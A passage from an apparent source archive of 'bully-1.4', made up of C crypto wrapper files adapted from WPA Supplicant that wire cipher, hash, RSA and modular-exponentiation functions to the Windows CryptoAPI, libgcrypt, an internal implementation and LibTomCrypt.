CRYPTO_CIPHER_ALG_AES: if (key_len == 32) key_blob.hdr.aiKeyAlg = CALG_AES_256; else if (key_len == 24) key_blob.hdr.aiKeyAlg = CALG_AES_192; else key_blob.hdr.aiKeyAlg = CALG_AES_128; break; case CRYPTO_CIPHER_ALG_3DES: key_blob.hdr.aiKeyAlg = CALG_3DES; break; case CRYPTO_CIPHER_ALG_DES: key_blob.hdr.aiKeyAlg = CALG_DES; break; case CRYPTO_CIPHER_ALG_RC2: key_blob.hdr.aiKeyAlg = CALG_RC2; break; case CRYPTO_CIPHER_ALG_RC4: key_blob.hdr.aiKeyAlg = CALG_RC4; break; default: return NULL; } ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; if (!CryptAcquireContext(&ctx->prov, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { cryptoapi_report_error("CryptAcquireContext"); goto fail1; } if (!CryptImportKey(ctx->prov, (BYTE *) &key_blob, sizeof(key_blob), 0, 0, &ctx->key)) { cryptoapi_report_error("CryptImportKey"); goto fail2; } if (!CryptSetKeyParam(ctx->key, KP_MODE, (BYTE *) &mode, 0)) { cryptoapi_report_error("CryptSetKeyParam(KP_MODE)"); goto fail3; } if (iv && !CryptSetKeyParam(ctx->key, KP_IV, (BYTE *) iv, 0)) { cryptoapi_report_error("CryptSetKeyParam(KP_IV)"); goto fail3; } return ctx; fail3: CryptDestroyKey(ctx->key); fail2: CryptReleaseContext(ctx->prov, 0); fail1: os_free(ctx); return NULL; } int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len) { DWORD dlen; os_memcpy(crypt, plain, len); dlen = len; if (!CryptEncrypt(ctx->key, 0, FALSE, 0, crypt, &dlen, len)) { cryptoapi_report_error("CryptEncrypt"); os_memset(crypt, 0, len); return -1; } return 0; } int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len) { DWORD dlen; os_memcpy(plain, crypt, len); dlen = len; if (!CryptDecrypt(ctx->key, 0, FALSE, 0, plain, &dlen)) { cryptoapi_report_error("CryptDecrypt"); return -1; } return 0; } void crypto_cipher_deinit(struct crypto_cipher *ctx) { CryptDestroyKey(ctx->key); CryptReleaseContext(ctx->prov, 0); os_free(ctx); } struct crypto_public_key { HCRYPTPROV prov; HCRYPTKEY rsa; }; struct crypto_private_key { HCRYPTPROV prov; HCRYPTKEY rsa; }; struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len) { /* Use crypto_public_key_from_cert() instead. */ return NULL; } struct crypto_private_key * crypto_private_key_import(const u8 *key, size_t len, const char *passwd) { /* TODO */ return NULL; } struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf, size_t len) { struct crypto_public_key *pk; PCCERT_CONTEXT cc; pk = os_zalloc(sizeof(*pk)); if (pk == NULL) return NULL; cc = CertCreateCertificateContext(X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, buf, len); if (!cc) { cryptoapi_report_error("CryptCreateCertificateContext"); os_free(pk); return NULL; } if (!CryptAcquireContext(&pk->prov, NULL, MS_DEF_PROV, PROV_RSA_FULL, 0)) { cryptoapi_report_error("CryptAcquireContext"); os_free(pk); CertFreeCertificateContext(cc); return NULL; } if (!CryptImportPublicKeyInfo(pk->prov, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, &cc->pCertInfo->SubjectPublicKeyInfo, &pk->rsa)) { cryptoapi_report_error("CryptImportPublicKeyInfo"); CryptReleaseContext(pk->prov, 0); os_free(pk); CertFreeCertificateContext(cc); return NULL; } CertFreeCertificateContext(cc); return pk; } int crypto_public_key_encrypt_pkcs1_v15(struct crypto_public_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { DWORD clen; u8 *tmp; size_t i; if (*outlen < inlen) return -1; tmp = malloc(*outlen); if (tmp == NULL) return -1; os_memcpy(tmp, in, inlen); clen = inlen; if (!CryptEncrypt(key->rsa, 0, TRUE, 0, tmp, &clen, *outlen)) { wpa_printf(MSG_DEBUG, "CryptoAPI: Failed to encrypt using " "public key: %d", (int) GetLastError()); os_free(tmp); return -1; } *outlen = clen; /* Reverse the output */ for (i = 0; i < *outlen; i++) out[i] = tmp[*outlen - 1 - i]; os_free(tmp); return 0; } int crypto_private_key_sign_pkcs1(struct crypto_private_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { /* TODO */ return -1; } void crypto_public_key_free(struct crypto_public_key *key) { if (key) { CryptDestroyKey(key->rsa); CryptReleaseContext(key->prov, 0); os_free(key); } } void crypto_private_key_free(struct crypto_private_key *key) { if (key) { CryptDestroyKey(key->rsa); CryptReleaseContext(key->prov, 0); os_free(key); } } int crypto_global_init(void) { return mingw_load_crypto_func(); } void crypto_global_deinit(void) { } int crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len) { /* TODO */ return -1; } bully-1.4-00/src/crypto/crypto_gnutls.c000077500000000000000000000155551361530463600201360ustar00rootroot00000000000000/* * WPA Supplicant / wrapper functions for libgcrypt * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "crypto.h" int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { gcry_md_hd_t hd; unsigned char *p; size_t i; if (gcry_md_open(&hd, GCRY_MD_MD4, 0) != GPG_ERR_NO_ERROR) return -1; for (i = 0; i < num_elem; i++) gcry_md_write(hd, addr[i], len[i]); p = gcry_md_read(hd, GCRY_MD_MD4); if (p) memcpy(mac, p, gcry_md_get_algo_dlen(GCRY_MD_MD4)); gcry_md_close(hd); return 0; } void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { gcry_cipher_hd_t hd; u8 pkey[8], next, tmp; int i; /* Add parity bits to the key */ next = 0; for (i = 0; i < 7; i++) { tmp = key[i]; pkey[i] = (tmp >> i) | next | 1; next = tmp << (7 - i); } pkey[i] = next | 1; gcry_cipher_open(&hd, GCRY_CIPHER_DES, GCRY_CIPHER_MODE_ECB, 0); gcry_err_code(gcry_cipher_setkey(hd, pkey, 8)); gcry_cipher_encrypt(hd, cypher, 8, clear, 8); gcry_cipher_close(hd); } int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { gcry_md_hd_t hd; unsigned char *p; size_t i; if (gcry_md_open(&hd, GCRY_MD_MD5, 0) != GPG_ERR_NO_ERROR) return -1; for (i = 0; i < num_elem; i++) gcry_md_write(hd, addr[i], len[i]); p = gcry_md_read(hd, GCRY_MD_MD5); if (p) memcpy(mac, p, gcry_md_get_algo_dlen(GCRY_MD_MD5)); gcry_md_close(hd); return 0; } int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { gcry_md_hd_t hd; unsigned char *p; size_t i; if (gcry_md_open(&hd, GCRY_MD_SHA1, 0) != GPG_ERR_NO_ERROR) return -1; for (i = 0; i < num_elem; i++) gcry_md_write(hd, addr[i], len[i]); p = gcry_md_read(hd, GCRY_MD_SHA1); if (p) memcpy(mac, p, gcry_md_get_algo_dlen(GCRY_MD_SHA1)); gcry_md_close(hd); return 0; } void * aes_encrypt_init(const u8 *key, size_t len) { gcry_cipher_hd_t hd; if (gcry_cipher_open(&hd, GCRY_CIPHER_AES, GCRY_CIPHER_MODE_ECB, 0) != GPG_ERR_NO_ERROR) { printf("cipher open failed\n"); return NULL; } if (gcry_cipher_setkey(hd, key, len) != GPG_ERR_NO_ERROR) { printf("setkey failed\n"); gcry_cipher_close(hd); return NULL; } return hd; } void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) { gcry_cipher_hd_t hd = ctx; gcry_cipher_encrypt(hd, crypt, 16, plain, 16); } void aes_encrypt_deinit(void *ctx) { gcry_cipher_hd_t hd = ctx; gcry_cipher_close(hd); } void * aes_decrypt_init(const u8 *key, size_t len) { gcry_cipher_hd_t hd; if (gcry_cipher_open(&hd, GCRY_CIPHER_AES, GCRY_CIPHER_MODE_ECB, 0) != GPG_ERR_NO_ERROR) return NULL; if (gcry_cipher_setkey(hd, key, len) != GPG_ERR_NO_ERROR) { gcry_cipher_close(hd); return NULL; } return hd; } void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) { gcry_cipher_hd_t hd = ctx; gcry_cipher_decrypt(hd, plain, 16, crypt, 16); } void aes_decrypt_deinit(void *ctx) { gcry_cipher_hd_t hd = ctx; gcry_cipher_close(hd); } int crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len) { gcry_mpi_t bn_base = NULL, bn_exp = NULL, bn_modulus = NULL, bn_result = NULL; int ret = -1; if (gcry_mpi_scan(&bn_base, GCRYMPI_FMT_USG, base, base_len, NULL) != GPG_ERR_NO_ERROR || gcry_mpi_scan(&bn_exp, GCRYMPI_FMT_USG, power, power_len, NULL) != GPG_ERR_NO_ERROR || gcry_mpi_scan(&bn_modulus, GCRYMPI_FMT_USG, modulus, modulus_len, NULL) != GPG_ERR_NO_ERROR) goto error; bn_result = gcry_mpi_new(modulus_len * 8); gcry_mpi_powm(bn_result, bn_base, bn_exp, bn_modulus); if (gcry_mpi_print(GCRYMPI_FMT_USG, result, *result_len, result_len, bn_result) != GPG_ERR_NO_ERROR) goto error; ret = 0; error: gcry_mpi_release(bn_base); gcry_mpi_release(bn_exp); gcry_mpi_release(bn_modulus); gcry_mpi_release(bn_result); return ret; } struct crypto_cipher { gcry_cipher_hd_t enc; gcry_cipher_hd_t dec; }; struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len) { struct crypto_cipher *ctx; gcry_error_t res; enum gcry_cipher_algos a; int ivlen; ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; switch (alg) { case CRYPTO_CIPHER_ALG_RC4: a = GCRY_CIPHER_ARCFOUR; res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_STREAM, 0); gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_STREAM, 0); break; case CRYPTO_CIPHER_ALG_AES: if (key_len == 24) a = GCRY_CIPHER_AES192; else if (key_len == 32) a = GCRY_CIPHER_AES256; else a = GCRY_CIPHER_AES; res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0); gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0); break; case CRYPTO_CIPHER_ALG_3DES: a = GCRY_CIPHER_3DES; res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0); gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0); break; case CRYPTO_CIPHER_ALG_DES: a = GCRY_CIPHER_DES; res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0); gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0); break; case CRYPTO_CIPHER_ALG_RC2: if (key_len == 5) a = GCRY_CIPHER_RFC2268_40; else a = GCRY_CIPHER_RFC2268_128; res = gcry_cipher_open(&ctx->enc, a, GCRY_CIPHER_MODE_CBC, 0); gcry_cipher_open(&ctx->dec, a, GCRY_CIPHER_MODE_CBC, 0); break; default: os_free(ctx); return NULL; } if (res != GPG_ERR_NO_ERROR) { os_free(ctx); return NULL; } if (gcry_cipher_setkey(ctx->enc, key, key_len) != GPG_ERR_NO_ERROR || gcry_cipher_setkey(ctx->dec, key, key_len) != GPG_ERR_NO_ERROR) { gcry_cipher_close(ctx->enc); gcry_cipher_close(ctx->dec); os_free(ctx); return NULL; } ivlen = gcry_cipher_get_algo_blklen(a); if (gcry_cipher_setiv(ctx->enc, iv, ivlen) != GPG_ERR_NO_ERROR || gcry_cipher_setiv(ctx->dec, iv, ivlen) != GPG_ERR_NO_ERROR) { gcry_cipher_close(ctx->enc); gcry_cipher_close(ctx->dec); os_free(ctx); return NULL; } return ctx; } int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len) { if (gcry_cipher_encrypt(ctx->enc, crypt, len, plain, len) != GPG_ERR_NO_ERROR) return -1; return 0; } int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len) { if (gcry_cipher_decrypt(ctx->dec, plain, len, crypt, len) != GPG_ERR_NO_ERROR) return -1; return 0; } void crypto_cipher_deinit(struct crypto_cipher *ctx) { gcry_cipher_close(ctx->enc); gcry_cipher_close(ctx->dec); os_free(ctx); } bully-1.4-00/src/crypto/crypto_internal-cipher.c000077500000000000000000000130321361530463600216720ustar00rootroot00000000000000/* * Crypto wrapper for internal crypto implementation - Cipher wrappers * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "aes.h" #include "des_i.h" struct crypto_cipher { enum crypto_cipher_alg alg; union { struct { size_t used_bytes; u8 key[16]; size_t keylen; } rc4; struct { u8 cbc[32]; size_t block_size; void *ctx_enc; void *ctx_dec; } aes; struct { struct des3_key_s key; u8 cbc[8]; } des3; struct { u32 ek[32]; u32 dk[32]; u8 cbc[8]; } des; } u; }; struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, const u8 *iv, const u8 *key, size_t key_len) { struct crypto_cipher *ctx; ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; ctx->alg = alg; switch (alg) { case CRYPTO_CIPHER_ALG_RC4: if (key_len > sizeof(ctx->u.rc4.key)) { os_free(ctx); return NULL; } ctx->u.rc4.keylen = key_len; os_memcpy(ctx->u.rc4.key, key, key_len); break; case CRYPTO_CIPHER_ALG_AES: if (key_len > sizeof(ctx->u.aes.cbc)) { os_free(ctx); return NULL; } ctx->u.aes.ctx_enc = aes_encrypt_init(key, key_len); if (ctx->u.aes.ctx_enc == NULL) { os_free(ctx); return NULL; } ctx->u.aes.ctx_dec = aes_decrypt_init(key, key_len); if (ctx->u.aes.ctx_dec == NULL) { aes_encrypt_deinit(ctx->u.aes.ctx_enc); os_free(ctx); return NULL; } ctx->u.aes.block_size = key_len; os_memcpy(ctx->u.aes.cbc, iv, ctx->u.aes.block_size); break; case CRYPTO_CIPHER_ALG_3DES: if (key_len != 24) { os_free(ctx); return NULL; } des3_key_setup(key, &ctx->u.des3.key); os_memcpy(ctx->u.des3.cbc, iv, 8); break; case CRYPTO_CIPHER_ALG_DES: if (key_len != 8) { os_free(ctx); return NULL; } des_key_setup(key, ctx->u.des.ek, ctx->u.des.dk); os_memcpy(ctx->u.des.cbc, iv, 8); break; default: os_free(ctx); return NULL; } return ctx; } int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, u8 *crypt, size_t len) { size_t i, j, blocks; switch (ctx->alg) { case CRYPTO_CIPHER_ALG_RC4: if (plain != crypt) os_memcpy(crypt, plain, len); rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen, ctx->u.rc4.used_bytes, crypt, len); ctx->u.rc4.used_bytes += len; break; case CRYPTO_CIPHER_ALG_AES: if (len % ctx->u.aes.block_size) return -1; blocks = len / ctx->u.aes.block_size; for (i = 0; i < blocks; i++) { for (j = 0; j < ctx->u.aes.block_size; j++) ctx->u.aes.cbc[j] ^= plain[j]; aes_encrypt(ctx->u.aes.ctx_enc, ctx->u.aes.cbc, ctx->u.aes.cbc); os_memcpy(crypt, ctx->u.aes.cbc, ctx->u.aes.block_size); plain += ctx->u.aes.block_size; crypt += ctx->u.aes.block_size; } break; case CRYPTO_CIPHER_ALG_3DES: if (len % 8) return -1; blocks = len / 8; for (i = 0; i < blocks; i++) { for (j = 0; j < 8; j++) ctx->u.des3.cbc[j] ^= plain[j]; des3_encrypt(ctx->u.des3.cbc, &ctx->u.des3.key, ctx->u.des3.cbc); os_memcpy(crypt, ctx->u.des3.cbc, 8); plain += 8; crypt += 8; } break; case CRYPTO_CIPHER_ALG_DES: if (len % 8) return -1; blocks = len / 8; for (i = 0; i < blocks; i++) { for (j = 0; j < 8; j++) ctx->u.des3.cbc[j] ^= plain[j]; des_block_encrypt(ctx->u.des.cbc, ctx->u.des.ek, ctx->u.des.cbc); os_memcpy(crypt, ctx->u.des.cbc, 8); plain += 8; crypt += 8; } break; default: return -1; } return 0; } int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, u8 *plain, size_t len) { size_t i, j, blocks; u8 tmp[32]; switch (ctx->alg) { case CRYPTO_CIPHER_ALG_RC4: if (plain != crypt) os_memcpy(plain, crypt, len); rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen, ctx->u.rc4.used_bytes, plain, len); ctx->u.rc4.used_bytes += len; break; case CRYPTO_CIPHER_ALG_AES: if (len % ctx->u.aes.block_size) return -1; blocks = len / ctx->u.aes.block_size; for (i = 0; i < blocks; i++) { os_memcpy(tmp, crypt, ctx->u.aes.block_size); aes_decrypt(ctx->u.aes.ctx_dec, crypt, plain); for (j = 0; j < ctx->u.aes.block_size; j++) plain[j] ^= ctx->u.aes.cbc[j]; os_memcpy(ctx->u.aes.cbc, tmp, ctx->u.aes.block_size); plain += ctx->u.aes.block_size; crypt += ctx->u.aes.block_size; } break; case CRYPTO_CIPHER_ALG_3DES: if (len % 8) return -1; blocks = len / 8; for (i = 0; i < blocks; i++) { os_memcpy(tmp, crypt, 8); des3_decrypt(crypt, &ctx->u.des3.key, plain); for (j = 0; j < 8; j++) plain[j] ^= ctx->u.des3.cbc[j]; os_memcpy(ctx->u.des3.cbc, tmp, 8); plain += 8; crypt += 8; } break; case CRYPTO_CIPHER_ALG_DES: if (len % 8) return -1; blocks = len / 8; for (i = 0; i < blocks; i++) { os_memcpy(tmp, crypt, 8); des_block_decrypt(crypt, ctx->u.des.dk, plain); for (j = 0; j < 8; j++) plain[j] ^= ctx->u.des.cbc[j]; os_memcpy(ctx->u.des.cbc, tmp, 8); plain += 8; crypt += 8; } break; default: return -1; } return 0; } void crypto_cipher_deinit(struct crypto_cipher *ctx) { switch (ctx->alg) { case CRYPTO_CIPHER_ALG_AES: aes_encrypt_deinit(ctx->u.aes.ctx_enc); aes_decrypt_deinit(ctx->u.aes.ctx_dec); break; case CRYPTO_CIPHER_ALG_3DES: break; default: break; } os_free(ctx); } bully-1.4-00/src/crypto/crypto_internal-modexp.c000077500000000000000000000027031361530463600217170ustar00rootroot00000000000000/* * Crypto wrapper for internal crypto implementation - modexp * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "tls/bignum.h" #include "crypto.h" int crypto_mod_exp(const u8 *base, size_t base_len, const u8 *power, size_t power_len, const u8 *modulus, size_t modulus_len, u8 *result, size_t *result_len) { struct bignum *bn_base, *bn_exp, *bn_modulus, *bn_result; int ret = -1; bn_base = bignum_init(); bn_exp = bignum_init(); bn_modulus = bignum_init(); bn_result = bignum_init(); if (bn_base == NULL || bn_exp == NULL || bn_modulus == NULL || bn_result == NULL) goto error; if (bignum_set_unsigned_bin(bn_base, base, base_len) < 0 || bignum_set_unsigned_bin(bn_exp, power, power_len) < 0 || bignum_set_unsigned_bin(bn_modulus, modulus, modulus_len) < 0) goto error; if (bignum_exptmod(bn_base, bn_exp, bn_modulus, bn_result) < 0) goto error; ret = bignum_get_unsigned_bin(bn_result, result, result_len); error: bignum_deinit(bn_base); bignum_deinit(bn_exp); bignum_deinit(bn_modulus); bignum_deinit(bn_result); return ret; } bully-1.4-00/src/crypto/crypto_internal-rsa.c000077500000000000000000000055211361530463600212110ustar00rootroot00000000000000/* * Crypto wrapper for internal crypto implementation - RSA parts * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "tls/rsa.h" #include "tls/bignum.h" #include "tls/pkcs1.h" #include "tls/pkcs8.h" /* Dummy structures; these are just typecast to struct crypto_rsa_key */ struct crypto_public_key; struct crypto_private_key; struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len) { return (struct crypto_public_key *) crypto_rsa_import_public_key(key, len); } struct crypto_private_key * crypto_private_key_import(const u8 *key, size_t len, const char *passwd) { struct crypto_private_key *res; /* First, check for possible PKCS #8 encoding */ res = pkcs8_key_import(key, len); if (res) return res; if (passwd) { /* Try to parse as encrypted PKCS #8 */ res = pkcs8_enc_key_import(key, len, passwd); if (res) return res; } /* Not PKCS#8, so try to import PKCS #1 encoded RSA private key */ wpa_printf(MSG_DEBUG, "Trying to parse PKCS #1 encoded RSA private " "key"); return (struct crypto_private_key *) crypto_rsa_import_private_key(key, len); } struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf, size_t len) { /* No X.509 support in crypto_internal.c */ return NULL; } int crypto_public_key_encrypt_pkcs1_v15(struct crypto_public_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { return pkcs1_encrypt(2, (struct crypto_rsa_key *) key, 0, in, inlen, out, outlen); } int crypto_private_key_decrypt_pkcs1_v15(struct crypto_private_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { return pkcs1_v15_private_key_decrypt((struct crypto_rsa_key *) key, in, inlen, out, outlen); } int crypto_private_key_sign_pkcs1(struct crypto_private_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen) { return pkcs1_encrypt(1, (struct crypto_rsa_key *) key, 1, in, inlen, out, outlen); } void crypto_public_key_free(struct crypto_public_key *key) { crypto_rsa_free((struct crypto_rsa_key *) key); } void crypto_private_key_free(struct crypto_private_key *key) { crypto_rsa_free((struct crypto_rsa_key *) key); } int crypto_public_key_decrypt_pkcs1(struct crypto_public_key *key, const u8 *crypt, size_t crypt_len, u8 *plain, size_t *plain_len) { return pkcs1_decrypt_public_key((struct crypto_rsa_key *) key, crypt, crypt_len, plain, plain_len); } bully-1.4-00/src/crypto/crypto_internal.c000077500000000000000000000077461361530463600204410ustar00rootroot00000000000000/* * Crypto wrapper for internal crypto implementation * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "sha1_i.h" #include "md5_i.h" struct crypto_hash { enum crypto_hash_alg alg; union { struct MD5Context md5; struct SHA1Context sha1; } u; u8 key[64]; size_t key_len; }; struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key, size_t key_len) { struct crypto_hash *ctx; u8 k_pad[64]; u8 tk[20]; size_t i; ctx = os_zalloc(sizeof(*ctx)); if (ctx == NULL) return NULL; ctx->alg = alg; switch (alg) { case CRYPTO_HASH_ALG_MD5: MD5Init(&ctx->u.md5); break; case CRYPTO_HASH_ALG_SHA1: SHA1Init(&ctx->u.sha1); break; case CRYPTO_HASH_ALG_HMAC_MD5: if (key_len > sizeof(k_pad)) { MD5Init(&ctx->u.md5); MD5Update(&ctx->u.md5, key, key_len); MD5Final(tk, &ctx->u.md5); key = tk; key_len = 16; } os_memcpy(ctx->key, key, key_len); ctx->key_len = key_len; os_memcpy(k_pad, key, key_len); os_memset(k_pad + key_len, 0, sizeof(k_pad) - key_len); for (i = 0; i < sizeof(k_pad); i++) k_pad[i] ^= 0x36; MD5Init(&ctx->u.md5); MD5Update(&ctx->u.md5, k_pad, sizeof(k_pad)); break; case CRYPTO_HASH_ALG_HMAC_SHA1: if (key_len > sizeof(k_pad)) { SHA1Init(&ctx->u.sha1); SHA1Update(&ctx->u.sha1, key, key_len); SHA1Final(tk, &ctx->u.sha1); key = tk; key_len = 20; } os_memcpy(ctx->key, key, key_len); ctx->key_len = key_len; os_memcpy(k_pad, key, key_len); os_memset(k_pad + key_len, 0, sizeof(k_pad) - key_len); for (i = 0; i < sizeof(k_pad); i++) k_pad[i] ^= 0x36; SHA1Init(&ctx->u.sha1); SHA1Update(&ctx->u.sha1, k_pad, sizeof(k_pad)); break; default: os_free(ctx); return NULL; } return ctx; } void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len) { if (ctx == NULL) return; switch (ctx->alg) { case CRYPTO_HASH_ALG_MD5: case CRYPTO_HASH_ALG_HMAC_MD5: MD5Update(&ctx->u.md5, data, len); break; case CRYPTO_HASH_ALG_SHA1: case CRYPTO_HASH_ALG_HMAC_SHA1: SHA1Update(&ctx->u.sha1, data, len); break; } } int crypto_hash_finish(struct crypto_hash *ctx, u8 *mac, size_t *len) { u8 k_pad[64]; size_t i; if (ctx == NULL) return -2; if (mac == NULL || len == NULL) { os_free(ctx); return 0; } switch (ctx->alg) { case CRYPTO_HASH_ALG_MD5: if (*len < 16) { *len = 16; os_free(ctx); return -1; } *len = 16; MD5Final(mac, &ctx->u.md5); break; case CRYPTO_HASH_ALG_SHA1: if (*len < 20) { *len = 20; os_free(ctx); return -1; } *len = 20; SHA1Final(mac, &ctx->u.sha1); break; case CRYPTO_HASH_ALG_HMAC_MD5: if (*len < 16) { *len = 16; os_free(ctx); return -1; } *len = 16; MD5Final(mac, &ctx->u.md5); os_memcpy(k_pad, ctx->key, ctx->key_len); os_memset(k_pad + ctx->key_len, 0, sizeof(k_pad) - ctx->key_len); for (i = 0; i < sizeof(k_pad); i++) k_pad[i] ^= 0x5c; MD5Init(&ctx->u.md5); MD5Update(&ctx->u.md5, k_pad, sizeof(k_pad)); MD5Update(&ctx->u.md5, mac, 16); MD5Final(mac, &ctx->u.md5); break; case CRYPTO_HASH_ALG_HMAC_SHA1: if (*len < 20) { *len = 20; os_free(ctx); return -1; } *len = 20; SHA1Final(mac, &ctx->u.sha1); os_memcpy(k_pad, ctx->key, ctx->key_len); os_memset(k_pad + ctx->key_len, 0, sizeof(k_pad) - ctx->key_len); for (i = 0; i < sizeof(k_pad); i++) k_pad[i] ^= 0x5c; SHA1Init(&ctx->u.sha1); SHA1Update(&ctx->u.sha1, k_pad, sizeof(k_pad)); SHA1Update(&ctx->u.sha1, mac, 20); SHA1Final(mac, &ctx->u.sha1); break; } os_free(ctx); return 0; } int crypto_global_init(void) { return 0; } void crypto_global_deinit(void) { } bully-1.4-00/src/crypto/crypto_libtomcrypt.c000077500000000000000000000343501361530463600211640ustar00rootroot00000000000000/* * WPA Supplicant / Crypto wrapper for LibTomCrypt (for internal TLSv1) * Copyright (c) 2005-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "crypto.h" #ifndef mp_init_multi #define mp_init_multi ltc_init_multi #define mp_clear_multi ltc_deinit_multi #define mp_unsigned_bin_size(a) ltc_mp.unsigned_size(a) #define mp_to_unsigned_bin(a, b) ltc_mp.unsigned_write(a, b) #define mp_read_unsigned_bin(a, b, c) ltc_mp.unsigned_read(a, b, c) #define mp_exptmod(a,b,c,d) ltc_mp.exptmod(a,b,c,d) #endif int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { hash_state md; size_t i; md4_init(&md); for (i = 0; i < num_elem; i++) md4_process(&md, addr[i], len[i]); md4_done(&md, mac); return 0; } void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) { u8 pkey[8], next, tmp; int i; symmetric_key skey; /* Add parity bits to the key */ next = 0; for (i = 0; i < 7; i++) { tmp = key[i]; pkey[i] = (tmp >> i) | next | 1; next = tmp << (7 - i); } pkey[i] = next | 1; des_setup(pkey, 8, 0, &skey); des_ecb_encrypt(clear, cypher, &skey); des_done(&skey); } int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { hash_state md; size_t i; md5_init(&md); for (i = 0; i < num_elem; i++) md5_process(&md, addr[i], len[i]); md5_done(&md, mac); return 0; } int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { hash_state md; size_t i; sha1_init(&md); for (i = 0; i < num_elem; i++) sha1_process(&md, addr[i], len[i]); sha1_done(&md, mac); return 0; } void * aes_encrypt_init(const u8 *key, size_t len) { symmetric_key *skey; skey = os_malloc(sizeof(*skey)); if (skey == NULL) return NULL; if (aes_setup(key, len, 0, skey) != CRYPT_OK) { os_free(skey); return NULL; } return skey; } void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) { symmetric_key *skey = ctx; aes_ecb_encrypt(plain, crypt, skey); } void aes_encrypt_deinit(void *ctx) { symmetric_key *skey = ctx; aes_done(skey); os_free(skey); } void * aes_decrypt_init(const u8 *key, size_t len) { symmetric_key *skey; skey = os_malloc(sizeof(*skey)); if (skey == NULL) return NULL; if (aes_setup(key, len, 0, skey) != CRYPT_OK) { os_free(skey); return NULL; } return skey; } void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) { symmetric_key *skey = ctx; aes_ecb_encrypt(plain, (u8 *) crypt, skey); } void aes_decrypt_deinit(void *ctx) { symmetric_key *skey = ctx; aes_done(skey); os_free(skey); } struct crypto_hash { enum crypto_hash_alg alg; int error; union { hash_state md; 